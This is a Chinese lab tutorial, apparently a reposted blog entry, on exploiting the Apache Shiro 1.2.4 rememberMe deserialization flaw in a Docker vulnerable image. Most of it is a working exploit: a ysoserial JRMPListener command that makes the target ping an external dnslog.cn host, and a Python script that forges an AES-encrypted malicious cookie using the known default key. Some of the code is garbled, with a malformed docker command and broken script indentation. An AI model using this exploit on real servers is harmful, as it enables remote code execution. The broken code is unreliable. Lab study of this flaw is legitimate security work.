shiro反序列化

Shiro是一个强大且易用的Java安全框架,主要用于身份验证、授权、密码和会话管理。
使用docker下载一个镜像,搭建一个shiro1.2.4的漏洞环境
运行下载好的镜像
sudo docker pull -p 8080:8080 -d medicean/vulapps:s_shiro_1
访问8080端口、使用root用户登录、一定要记住密码
使用YSO的JRMP进行监听7777端口
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5 "ping sntg9w.dnslog.cn"
然后使用poc.py生成cookie
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):    
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)    
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()  
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") #这里替换密钥
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)    
    file_body = pad(popen.stdout.read())    
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))    
    return base64_ciphertext
    
    if __name__ == '__main__':   
         payload = encode_rememberme(sys.argv[1])    
print ("rememberMe={0}".format(payload.decode()))
然后抓包替换cookie
正常发包的cookie
然后删除JSESSIONID和空格、并把我们使用payload生成的cookie替换上
这是修改后的cookie,可以看到返回包中存在“rememberMe=deleteMe”,可以确定为shiro框架
然后查看我们监听的7777端口,看是否有流量经过
在检查DNSlog是否有记录

原文地址:https://www.cnblogs.com/Excellent-person/p/14021994.html